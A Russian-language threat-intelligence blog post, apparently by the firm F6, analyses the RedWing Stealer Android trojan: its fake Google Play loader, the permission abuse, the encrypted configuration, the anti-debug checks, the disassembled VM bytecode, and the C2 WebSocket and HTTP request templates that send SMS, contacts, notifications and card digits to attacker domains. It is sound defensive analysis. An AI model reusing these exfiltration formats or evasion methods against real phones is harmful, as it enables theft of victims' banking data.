Опасная бритва: стилер RedWing заточен под атаки на клиентов банков России, Узбекистана и Казахстана

Эксперты компании F6, российского разработчика технологий для борьбы с киберугрозами, изучать новую угрозу для Android-устройств, которую распространяют в России с июля 2026 года – трояна RedWing.

В первой части специалисты F6 представили исследование банковского трояна RedWing RAT и его вредоносных возможностей. В этом блоге эксперты департамента киберразведки компании F6 представляют разбор второй разновидности трояна – RedWing Stealer. В отличие от первой версии, которая нацелена прежде всего на удалённое управление скомпрометированным устройством, задача стилера – сбор информации с устройства.

Как мы уже писали, это вредоносное ПО начали распространять через Telegram по модели MaaS (Malware-as-a-service, вредоносная программа как услуга) как минимум с начала 2026-го. В июле аналитики F6 зафиксировали первую кампанию по распространению RedWing, нацеленную на пользователей в России: злоумышленники рекламировали новый троян под видом мобильного приложения для оповещений о воздушных атаках под названием RadarTrevog.

Впоследствии эксперты F6 обнаружили более 800 образцов ВПО RedWing Stealer, которые распространялись в мае-сентябре 2026 года.

Среди Android-приложений, под которые злоумышленники маскировали вредоносное приложение – радары беспилотной опасности, карты АЗС, с помощью которых предлагали отслеживать наличие бензина в режиме реального времени, программы для просмотра фотографий, сервисы просмотра видео 18+, VPN, различные игровые модификации, включая читы и моды популярных игр Minecraft, Roblox, Standoff 2, Brawl Stars, Oxide, Exile, Skyrim и Pubg. Такие читы и моды распространяли в том числе через Telegram-каналы игровой тематики.

Изучив RedWing Stealer и средства обработки СМС, которые предусмотрены в приложении, специалисты F6 Threat Intelligence пришли к выводу: разработчики вредоносного приложения нацелили своё оружие на пользователей сразу из нескольких стран. Это клиенты банков и платежных сервисов из России, Узбекистана и Казахстана, а также российских маркетплейсов и микрофинансовых организаций.

Функциональные возможности RedWing Stealer предусматривают кражу:

  • SMS-сообщений с отдельным поиском в них интересующих троян сервисов, не замаскированных частей банковских карт и ссылок;

  • получаемых push-уведомлений;

  • местоположения устройства;

  • информации об устройстве и его состоянии;

  • информации о подключенных SIM;

  • информации об истории звонков;

  • списка контактов;

  • списка установленных на устройство приложений.

Также имеет возможности:

  • отправки USSD-запросов;

  • отправки SMS;

  • открытия URL-ссылок;

  • запуска reverse proxy;

  • сокрытия/отображения иконки приложения;

  • закрепления на зараженном устройстве;

  • использования механизмов AntiVM и AntiDebug.

В этом исследовании аналитики F6 Threat Intelligence расскажут, как устроен RedWing Stealer, и раскроют его особенности.

Приложение-загрузчик

В некоторых случаях злоумышленники использовали при распространении RedWing Stealer приложение-загрузчик, в котором полезная нагрузка расположена внутри ассетов в зашифрованном виде. Само приложение повторяло интерфейс приложения Google Play и имитировало его работу. После запуска отображается окно со скачиванием обновления и имитация проверки безопасности для внушения доверия, после которого отображается страница с обновлением приложения и кнопкой «Обновить».

Рисунок 1 — Окна, отображаемые приложением-загрузчикомРисунок 1 — Окна, отображаемые приложением-загрузчиком

При нажатии на кнопку обновления приложение отобразит окно с просьбой выдачи разрешения на установку приложений, при подтверждении открывается окно настроек, в котором пользователь может выдать разрешение. После получения разрешения приложение распаковывает нагрузку и выполняет процесс установки, после которого происходит запуск приложения-нагрузки без необходимости дальнейших действий пользователя.

Окно загрузчика с просьбой выдать разрешение на установку и инструкцией по включению переключателяРисунок 2 — Процесс установки приложения

После того как полезная нагрузка была установлена на устройство, ее иконка не видна на рабочем столе, а при повторном открытии загрузчика пользователя перекидывает на установленное приложение.

Технические детали

Иконка приложения «Радар тревог»: карта с отметками и подпись «Оповещения, карта, безопасность»Рисунок 3 — Иконка приложения

MD5: a7d5309214dd4df0946c5ff07ffa812dSHA1: 5cc7612c0aa0eaafd8ddc8dfe232ebb5f89cf3acSHA256: a77fb0b4de9ee95b640f0cf054160023337967cfc790f2a7803530a1632a3857

Процесс исполнения

При запуске приложения происходит распаковка и инициализация настроек, запрос необходимых разрешений, после которых для отвлечения внимания пользователя происходит имитация работы приложения, за которой будет скрываться фоновый сервис управления.

Инициализация

При инициализации в случае, если приложение было упаковано, происходит загрузка нативной библиотеки для расшифровки DEX-файла из ассетов и вызова оригинального метода инициализации с передачей контекста. Сам метод инициализирует сервис для работы с сообщениями Firebase FCM, через который сервер злоумышленника может посылать команды управления. Полученный FCM-токен будет отправлен позже через взаимодействие по WebSocket, логика которого подробнее описана в разделе «WebSocket». Конфигурация данных инициализации Firebase FCM:

applicationId: 1:558390505418:android:44cf50f9630e0ab72f6933apiKey: AIzaSyBEN56RjB8pakZs51YqnvOm0QQ95s6ER70databaseUrl: nullgaTrackingId: nullgcmSenderId: 558390505418storageBucket: nullprojectId: gun-donch1k

В обработчике FCM-сообщений реализована логика запуска сервиса управления вместе с созданием подключения WebSocket.

Исполнение

После инициализации запускается фоновый сервис, в котором реализована основная логика приложения для сбора информации и управления устройством. Его полный набор функциональных возможностей будет активен после выдачи необходимых разрешений.

Приложение запросит необходимые разрешения, которые автор ВПО разделил по группам. Разрешения будут запрашивать циклически по каждой группе до тех пор, пока пользователь их не выдаст. Таблица с указанием деталей по группам разрешений, определенным разработчиком:

Имя

Заголовок

Описание

sms_default

SMS доступ

Для доступа к данному ресурсу

battery

Оптимизация батареи

Необходимо для стабильной фоновой работы

autostart

Автозапуск

Разрешите работу в фоновом режиме

Сначала приложение запрашивает полный доступ на обработку SMS, после которого приложение сможет перехватывать входящие сообщения, читать историю сообщений и отправлять свои сообщения, включая USSD-команды.

Системный диалог «Сделать RadarTrevog приложением для обмена SMS по умолчанию?» поверх экрана «SMS доступ»Рисунок 4 — Запрос разрешения на обработку SMS

Далее приложение запрашивает разрешение на работу в фоновом режиме для предотвращения случаев, в которых система для оптимизации завершает процесс приложения.

Системный диалог «Разрешить приложению запуск в фоновом режиме?» поверх экрана «Оптимизация батареи»Рисунок 5 — Запрос разрешения на работу в фоновом режиме

После чего приложение запрашивает разрешение автозапуска, которое зависит от модели устройства и более строго ограничивает работу приложений в фоновом режиме. После выдачи такого разрешения вредоносное приложение сможет возобновлять работу своих сервисов самостоятельно при обработке события.

Экран приложения «Автозапуск» с просьбой разрешить работу в фоновом режиме и кнопкой «Продолжить»Рисунок 6 — Запрос разрешения на автозапуск

После того как пользователь выдал все разрешения, перед пользователем отобразится окно ввода PIN-кода.

Экран «Введите PIN-код» с цифровой клавиатурой для ввода 4-значного кодаРисунок 7 — Окно ввода PIN-кода

После введения ПИН-кода будет отправлен запрос на сервер с указанным значением. Представленный формат запроса будет во всех последующих HTTP-запросах, где поле заголовка Cookie содержит параметр ts — текущее время, и sg — токен, генерируемый из team_id + timestamp и подписываемый HmacSHA256 ключом secret из конфигурации. Ниже представлены шаблоны URI, поле заголовка Cookie и тела запроса:

POST /v1/pin"Cookie": _ts={timestamp}; _sg={token}
{ "device_id": {device_id}, "team_id": {team_id}, "pin": "pin:{pin}"}

После всех действий у пользователя отобразится WebView (браузер, встроенный в приложение), который будет имитировать работу приложения. В данном случае это сайт с радаром беспилотной опасности.

Окно WebView с картой-радаром тревог беспилотной опасности и уведомлением о cookieРисунок 8 — Окно WebView с имитацией работы приложения

Приложение имеет несколько обработчиков, с помощью которых оно может автоматически запускать свой сервис после перезапуска устройства. Из видимых обработчиков это виджеты системы, при взаимодействии с которыми будет также запущен сервис.

Также приложение активирует системный механизм синхронизации, который отвечает за периодичное обновление состояния приложения в определенный период (настроенный на 30 минут), в моменте которого будет выполнена проверка состояния сервиса и его запуск. Для корректной работы такого компонента необходимо наличие аккаунта приложения, которое оно само добавит в менеджер аккаунтов устройства.

Раздел настроек «Пароли и аккаунты» с аккаунтом System приложения RadarTrevogРисунок 9 — Добавленный аккаунт в менеджере аккаунтов

После того как пользователь выдал все разрешения, приложение переходит в фоновый режим, сервис BackgroundMonitor, в котором реализована основная логика приложения и взаимодействие с С2 через WebSocket. Вся реализация вынесена в нативную библиотеку и скрыта под самописной виртуальной машиной, которая управляет контекстом сервиса.

Запущенный сервис будет автоматически поддерживаться цикличными задачами перезапуска, прикреплен к нескрываемому уведомлению, скрыт из списка запущенных приложений и будет воспроизводить пустой аудиопоток для имитации работы перед системой (аналогично функции трояна RedWing, описанной в первой части исследования этого ВПО).

Сервис BackgroundMonitor

При запуске сервиса происходит загрузка нативной библиотеки, если она не была запущена ранее, вызывается функция запуска виртуальной машины с инициализацией контекста и создание потока интерпретатора. Сам контекст хранит состояния всей виртуальной машины, включая поля из конфигурации.

Конфигурация

Сама конфигурация не хранится в открытом виде, а зашифрована с помощью алгоритма шифрования ChaCha20 с сокрытием зашифрованных данных в младших битах пикселей изображения (Least Significant Bit) и помещена в ассеты со случайным названием файла. Содержимое конфигурации упаковано в кастомном формате, порядок полей может отличаться. Конфигурация из исследуемого семпла:

server_url: https://netpulse-api.topteam_id: 11a61668secret: b72b3ebed58ffa4d347a5ccf08c4595270f9a6347fce56909f5d18926732c64eworker_id: 8251778191worker_username: trybettrpanel_url: https://netpulse-api.shop

WebSocket

В контексте сервиса создается WebSocket-соединение с C2-сервером, для реализации логики получения команд и отправки результатов их выполнения. Шаблон URL-ссылки, с которым будет создано соединение, и User-Agent:

http[s]://{panel_url}/cableUser-Agent: "Mozilla/5.0 (Linux; Android {android}; {model}) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Mobile Safari/537.36"

При успешном соединении отправляет команду авторизации (type: auth) и запускает поток с отправкой сообщения о жизнедеятельности (type: hb) со случайным интервалом от 15 до 40 секунд.

Шаблон сообщения авторизации

{ "type": "auth", # тип сообщения "did": {device_id}, "tid": {team_id}}

Шаблон сообщения жизнедеятельности

{ "type": "hb", # тип сообщения "ts": 0, # время отправки "data": { # содержание сообщения "battery_level": 100, # уровень заряда батареи "is_charging": false, # идёт ли заряд батареи "screen_on": false, # включён ли экран "battery_optimized": false, # отключена ли оптимизация батареи "permissions": { # статусы разрешений "sms": false, # приложение является обработчиком СМС‑сообщений "phone": false, # разрешение на чтение состояния телефонного сервиса "call_log": false, # разрешение на чтение истории звонков "contacts": false, # разрешение на чтение контактов "default_sms": false, # приложение является обработчиком СМС‑сообщений "notifications": false, # разрешение на отправку уведомлений "notification_access": false, # разрешение на обработку уведомлений "accessibility": false # разрешение специальных возможностей }, "fcm_token": "" # токен Firebase FCM для отправки сообщений пользователю }}

Приложение обрабатывает в контексте WebSocket-соединения три типа сообщений: pong, ping и cmd. Сообщения ping/pong используются для поддержания соединения, проверки активности бота и сервера, на входящий ping клиент отвечает командой pong, а на pong сохраняет время получения сообщения. Сообщение cmd используется для получения команд от сервера.

Шаблоны сообщений ping/pong

{ "type": "ping" # тип сообщения}
{ "type": "pong" # тип сообщения}

Шаблон сообщения cmd

{ "type": "cmd", # тип сообщения "data": { "command": "", # имя команды "id": "", # идентификатор команды "params": "" # параметры команды }}

Обработанные команды передаются в контекст виртуальной машины, где будут исполнены. Полное описание команд можно найти в главе Описание команд.

Виртуальная машина

В конфигурации приложения содержится байткод, передаваемый в интерпретатор виртуальной машины для его исполнения. В ходе исследования файлов был найден только один вариант байткода, который описан ниже.

Виртуальная машина содержит 35 инструкций, в которых есть как простая математическая логика, так и полноценные функции. Стоит также отметить, что часть реализованных в ней функций не используется в контексте исполнения применяемого злоумышленниками байткода. В контексте виртуальной машины хранятся практически все данные, используемые в сервисе. Формирование сообщений для запроса собираются, как конструктор, из разных функций и записываются в поле контекста виртуальной машины для последующей отправки сообщения. Дизассемблированное представление байткода:

// start: Проверка на отладку, запрос инициализации, ожидание 5с,0000 | 60 | GUARD0001 | 51 | SEND.INIT0002 | 02 00 00 13 88 | PUSH.IMM32 0x000013880007 | 30 | SLEEP0008 | 02 00 00 00 00 | PUSH.IMM32 0x00000000000D | 07 00 | POP.REG r0// check: Проверка наличия событий000F | 61 | EVENT.GET0010 | 02 00 00 00 00 | PUSH.IMM32 0x000000000015 | 22 | CMP.Z0016 | 11 00 00 00 28 | B.EQ 0x00000028// event: Цикл вызова событий пока они есть001B | 62 | EVENT.CALL001C | 61 | EVENT.COUNT001D | 02 00 00 00 00 | PUSH.IMM32 0x000000000022 | 22 | CMP.Z0023 | 12 00 00 00 1B | B.NE 0x0000001B// wait: Каждый 7 цикл уходит на блок sync0028 | 06 00 | PUSH.REG r0002A | 02 00 00 00 01 | PUSH.IMM32 0x00000001002F | 20 | ADD0030 | 04 | DUP0031 | 07 00 | POP.REG r00033 | 02 00 00 00 07 | PUSH.IMM32 0x000000070038 | 23 | CMP.N0039 | 11 00 00 00 49 | B.EQ 0x00000049// sync: Запросы синхронизации003E | 02 00 00 00 00 | PUSH.IMM32 0x000000000043 | 07 00 | PUSH.REG r00045 | 52 | SEND.SYNC0046 | 05 | POP0047 | 54 | SEND.SYNC20048 | 05 | POP// loop: Ожидание 1с и переход к check0049 | 02 00 00 0B B8 | PUSH.IMM32 0x00000BB8004E | 30 | SLEEP004F | 10 00 00 00 0F | B 0x0000000F

В первом исполняемом блоке выполняется проверка с целью обнаружения отладки, в случае её наличия виртуальная машина останавливает свое выполнение. В контексте этой проверки приложение выполняет поиск инструментов отладки через перебор имен загруженных библиотек, проверяет активность TCP-порта отладки (27042), выполняет ряд проверок с целью обнаружения запуска в контексте эмулятора и проверяет наличие интернет-соединения через запрос к легитимной URL-ссылке. Если отладка не обнаружена, ВПО отправляет запрос инициализации, задействовав весь функционал приложения по сбору информации.

POST /v1/init
{ "device_id": {device_id}, # идентификатор устройства "team_id": {team_id}, # идентификатор команды из конфигурации "worker_id": {worker_id}, # идентификатор работника из конфигурации "worker_username": {worker_username}, # имя команды из конфигурации "model": {model}, # модель устройства "manufacturer": {manufacturer}, # производитель устройства "sdk_version": {sdkInt}, # версия андроид апи "android_version": {release}, # версия андроида "operator": {operator}, # оператор связи "country": {country}, # страна оператора "phone_number": {phoneNumber}, # номер телефона "battery_level": {batteryLevel}, # уровень заряда батареи "ip_address": {ip_query}, # поле с http://ip-api.com/json "city": {ip_city}, # поле с http://ip-api.com/json "isp": {ip_isp}, # поле с http://ip-api.com/json "time": {timestamp}, # время запроса "apps_count": {apps_count}, # количество приложений "sim_count": {sim_count}, # количество симок "operator_2": {operator_2}, # оператор связи "app_version": "2.0", # версия приложения "sms": true, # приложение является обработчиком СМС‑сообщений "phone": true, # разрешение на телефонный сервис "call_log": true, # разрешение на чтение истории звонков "contacts": true, # разрешение на чтение контактов "location": true, # разрешение на геолокацию "default_sms": true, # приложение является обработчиком СМС‑сообщений "notifications": true, # разрешение на отправку уведомлений "notification_access": true, # разрешение на обработку уведомлений "accessibility": true, # разрешение на специальные возможности "is_online": true, # устройство онлайн "is_rooted": false, # устройство рутировано "is_emulator": false, # устройство эмулятор "device_type": "shadow", # тип устройства "app_label": {app_label}, # имя приложения "battery_optimized":true, # включена ли оптимизация "apps": [ # список приложения { "name":{appName}, # имя приложения "package":{packageName} # пакет приложения } ], "contacts": [ # список контактов { "name": {name}, # имя контакта "phone": {phone} # телефон контакта }, ], "sms_count": 0, # количество смс "sms_archive_file":"{base64_sms_list}", # смс в формате текста в base64 "sms_archive_filename": "sms_archive.txt", # имя файла содержащий sms_archive_file "analysis":{ # аналитика смс на контекст "banks":[{bank_list}], # банки "cards":[{card_list}], # карты "marketplaces":[{marketplaces_list}], # маркетплейсы "mfo":[{mfo_list}], # мфо "checks":[{url_list}] # ссылки }}

Перед отправкой запроса сервис обрабатывает архив SMS-сообщений для выполнения нескольких целей: сбора актуальных для пользователя сервисов (банки, маркетплейсы, микрофинансовые организации), сбор открытой части банковских карт, сбор ссылок связанных с услугами сервисов.

В первом случае ВПО ищет подстроки, связанные с интересующими сервисами, и в случае обнаружения добавляет соответствующие наименования в массив для каждой из категорий. В списке сервисов, которые интересуют злоумышленников – 16 крупных российских, 12 узбекистанских и 7 казахстанских банков, а также 9 маркетплейсов и 8 микрофинансовых организаций.

Приложение выполняет поиск по символам , X, x, х (unicode: 0xd185), после чего проверяет последовательность на наличие 4 цифр (пример 9999). Найденные наборы будут добавлены в поле cards. Также приложение выполняет сбор URL-ссылок из сообщений, где по заданному набору начальной части URL будут извлечены полные ссылки и добавлены в поле checks. В заданный набор URL входит список 6 операторов фискальных данных.

После выполнения запроса инициализации запускается бесконечный цикл, который каждые 7 секунд отправляет запросы синхронизации, в ответ на которые сервер присылает команды для исполнения. Результаты выполнения могут быть отправлены как ответным сообщением, так и дополнительно в отдельном запросе. Первый запрос синхронизации не обрабатывает ответы сервера, а только отсылает информацию о выданных разрешениях для оповещения операторов ВПО о состоянии устройства.

POST /v1/sync

Шаблон передаваемого JSON-объекта

{ "device_id": {device_id}, # идентификатор устройства "team_id": {team_id}, # идентификатор команды из конфигурации "battery_level": {battery_level}, # уровень заряда батареи "is_charging": {is_charging}, # идет ли зарядка телефона "screen_on": {screen_on}, # включен ли экран "battery_optimized": {battery_optimized}, # включена ли оптимизация батареи "permissions": { # статусы разрешений "sms": {is_sms}, # приложение является обработчиком СМС‑сообщений "phone": {is_phone}, # разрешение на телефонный сервиса "call_log": {is_call_log}, # разрешение на чтение истории звонков "contacts": {is_contacts}, # разрешение на чтение контактов "default_sms": {is_sms}, # приложение является обработчиком СМС‑сообщений "notifications": {is_not}, # разрешение на отправку уведомлений "notification_access": {is_nota}, # разрешение на обработку уведомлений "accessibility": {is_accessibility} # разрешение специальных возможностей }}

После первого запроса синхронизации сразу происходит второй запрос на тот же путь без дополнительной информации. В ответ на него сервер возвращает список команд, которые приложение записывает в очередь событий для последующей обработки.

POST /v1/sync
{ "device_id": {device_id}, # идентификатор устройства "team_id": {team_id}, # идентификатор команды из конфигурации}

Обработка и исполнение событий происходит каждую секунду последовательно. Помимо команд, в очереди событий могут находиться события входящих SMS-сообщений, уведомлений и другие события, описанные ниже. Команды, полученные с WebSocket, добавляются в эту очередь и обрабатываются точно так же, как и команды, полученные при синхронизации.

Тип события

Функция добавления события

1

onSmsReceived ( String sender, String message, int sim_slot )

2

onNotification ( String package, String title, String text, String label )

3

onBoot ()

3

sendPinCaptured ( String pin ) – «trigger_pin»

3

nativeExecuteCommand ( String data ) – «ws_cmd»

3

nativeTriggerRegister () – «trigger_register»

3

nativeTriggerHeartbeat () – «trigger_heartbeat»

Первый тип события — обработчик входящих SMS-сообщений, но в данном семпле он не используется. Вместо него входящие и отправленные сообщения обрабатываются сразу. Все сообщения сначала сохраняются в файл настроек SharedPreferences во избежание утери сообщения, после чего выполняется их отправка на сервер и удаление сообщения из файла настроек.

POST /v1/events

Шаблон сообщения с отправкой SMS

{ "device_id": {device_id}, # идентификатор устройства "team_id": {team_id}, # идентификатор команды из конфигурации "sender": {sender}, # номер телефона отправителя "message": {message}, # сообщение "sms_type": "incoming", # тип сообщений "sim_slot": {sim_slot}, # слот сим-карты "received_at": {timestamp}, # строковое время сообщение "sms_timestamp": {timestamp}, # время сообщения "phone_number": "", # пусто "source": "fast" # тип отправки}

Второй тип события – это обработчик входящих уведомлений. Его работа активируется после получения полного разрешения на обработку уведомлений. В данном обработчике реализована фильтрация входящих уведомлений по имени пакета: сначала отсеиваются системные пакеты во избежание избыточного логирования информации, затем выполняется проверка пакета на системное приложение SMS с последующей отправкой входящего SMS-уведомления.

POST /v1/events

Шаблон сообщения с отправкой SMS из уведомления

{ "device_id": {device_id}, # идентификатор устройства "team_id": {team_id}, # идентификатор команды из конфигурации "sender": {sender}, # номер телефона отправителя "message": {message}, # сообщение отправителя "sms_type": "incoming", # тип сообщений "sim_slot": {sim_slot}, # слот сим-карты "received_at": {timestamp}, # строковое время сообщение "sms_timestamp": {timestamp}, # время сообщения "phone_number": {cache_phone}, # номер телефона "source": "broadcast" # тип отправки}

Все остальные пакеты полученного уведомления также отправляются на сервер.

POST /v1/telemetry

Шаблон сообщения с информацией об уведомлении

{ "device_id": {device_id}, # идентификатор устройства "team_id": {team_id}, # идентификатор команды из конфигурации "package_name": {package}, # пакет приложения "app_name": {label}, # имя приложения "title": {title}, # заголовок уведомления "text": {text}, # текст уведомления "received_at": {timestamp} # время сообщения}

Третий тип события — это триггеры, которые приложение вызывает из внутренних событий, таких как ввод PIN-кода пользователем или получение команды с WebSocket.

Имя триггера

Описание триггера

trigger_register

отправляет запрос инициализации (аналогичен описанному выше)

trigger_heartbeat

отправляет запрос синхронизации (аналогичен описанному выше)

trigger_pin

обработчик PIN-кода, запрос формируется в процессе исполнения

ws_cmd

обработчик команд веб‑сокета

Триггер ws_cmd обрабатывает и исполняет входящие команды с WebSocket. Ответные сообщения команд отправляются по одному шаблону, за исключением некоторых команд, где помимо сообщения дополнительно отправляется HTTP-запрос. Шаблон для отправки результата команды записывается в поле command_result – именно в это поле в следующей главе будут записаны полученные результаты.

POST /v1/ack

Шаблон сообщения с результатом выполнения команды

{ "device_id": {device_id}, # идентификатор устройства "team_id": {team_id}, # идентификатор команды из конфигурации "command_id": {command_id}, # номер команды из запроса "status": "executed", # статус команды "result": {command_result} # результат команды в виде объекта}

Другие подробности исследования, индикаторы компрометации можно найти в блоге на сайте F6.

Источник: habr.com

0 0 голоса
Рейтинг новости
1
0
Подписаться
Уведомить о
0 комментариев